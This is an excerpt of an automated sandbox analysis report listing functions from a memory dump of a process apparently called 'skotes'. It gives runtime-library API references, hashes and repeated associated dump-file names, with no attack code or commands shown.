
__Mtx_unlock.LIBCPMT ref: 00206ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00206F22
std::_Rethrow_future_exception.LIBCPMT ref: 00206F32
__Mtx_unlock.LIBCPMT ref: 00206FD5
__Mtx_unlock.LIBCPMT ref: 002070DB
__Mtx_unlock.LIBCPMT ref: 00207116

Strings

j718, xrefs: 00206E14, 00206F54, 00207024

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID: j718
API String ID: 1997747980-3131343938
Opcode ID: 3048a07551f921a6eeb76f7aed68f6eb02e7181f58a8b5ad88ccef334fa4f6eb
Instruction ID: 413fc880b181f6bb79620c776212848658e314dd51680b9ddf872834abfa21c5
Opcode Fuzzy Hash: 3048a07551f921a6eeb76f7aed68f6eb02e7181f58a8b5ad88ccef334fa4f6eb
Instruction Fuzzy Hash: 0BC1E4B1D1430A9FDB21DF64C849BAEBBF5AF05310F10462DE816976D3DB31A924CB61

Function 00234C14 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00234C98
__alloca_probe_16.LIBCMT ref: 00234D5E
__freea.LIBCMT ref: 00234DCA

Part of subcall function 0022B04B: RtlAllocateHeap.NTDLL(00000000,00206CB7,?,?,0020D3FC,00206CB7,?,00207A8B,8B18EC84,04E40A32), ref: 0022B07E

__freea.LIBCMT ref: 00234DD3
__freea.LIBCMT ref: 00234DF6

Strings

Z",m", xrefs: 00234C26
j718, xrefs: 00234C1B

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Z",m"$j718
API String ID: 1423051803-3164702526
Opcode ID: ea171d9eff8d7783bc48f775ceb5a9a0dd02c5fe5d3399409e05b0a0fc75d023
Instruction ID: 32ba2970162ce01a05a70d402f3bf72ba719b99a24f27ebe3894d522ceb65e95
Opcode Fuzzy Hash: ea171d9eff8d7783bc48f775ceb5a9a0dd02c5fe5d3399409e05b0a0fc75d023
Instruction Fuzzy Hash: 0D51E5B262021BAFDB216F94DC41EBB37A9DF85710F1546AAFD0497151EB70ED308A60

Function 00217364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 002173B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 002173F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0021740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00217419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00217440

Strings

ppVirtualProcessorRoots, xrefs: 00217438
count, xrefs: 0021737E

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 6f265c3ea82f68b1192cc6f49fa5c9cdf08416e7b6b87a92c437e645116d77b3
Instruction ID: 080c1136a111da43f6609a46aa02d4ffaee19b6d58df27f726a739328c82e2b9
Opcode Fuzzy Hash: 6f265c3ea82f68b1192cc6f49fa5c9cdf08416e7b6b87a92c437e645116d77b3
Instruction Fuzzy Hash: 1D216F34A20209AFCB14EF54D885AEDBBB5BF59300F1440A9E911A7291CB30AEA0CF90

Function 0020EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0020EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0020EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0020EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0020EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0020EF31

Strings

i , xrefs: 0020EED0

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i
API String ID: 1182035702-2015099487
Opcode ID: ad8dc5530972c2818b22d9a20ae9a7d319cda60d417fd3ec90722f9def5e4507
Instruction ID: 01cf18b747612b8d48056d5df8bb095a5e224f8534164d2c3f54e39b8e2cf747
Opcode Fuzzy Hash: ad8dc5530972c2818b22d9a20ae9a7d319cda60d417fd3ec90722f9def5e4507
Instruction Fuzzy Hash: 81213070D3430A9ADF38DFA4C4896EEB7F0BF14320F11092AE151A65D2E7B55AE4CB51

Function 002178E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00217903

Part of subcall function 00215CB8: __EH_prolog3_catch.LIBCMT ref: 00215CBF
Part of subcall function 00215CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00215CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0021792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00217936

Part of subcall function 00215CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00215D70
Part of subcall function 00215CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00215D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00217982
Concurrency::location::_Assign.LIBCMT ref: 002179A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 002179AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 002179BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 002179ED

Part of subcall function 0021691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00216942
Part of subcall function 0021691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00216965

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

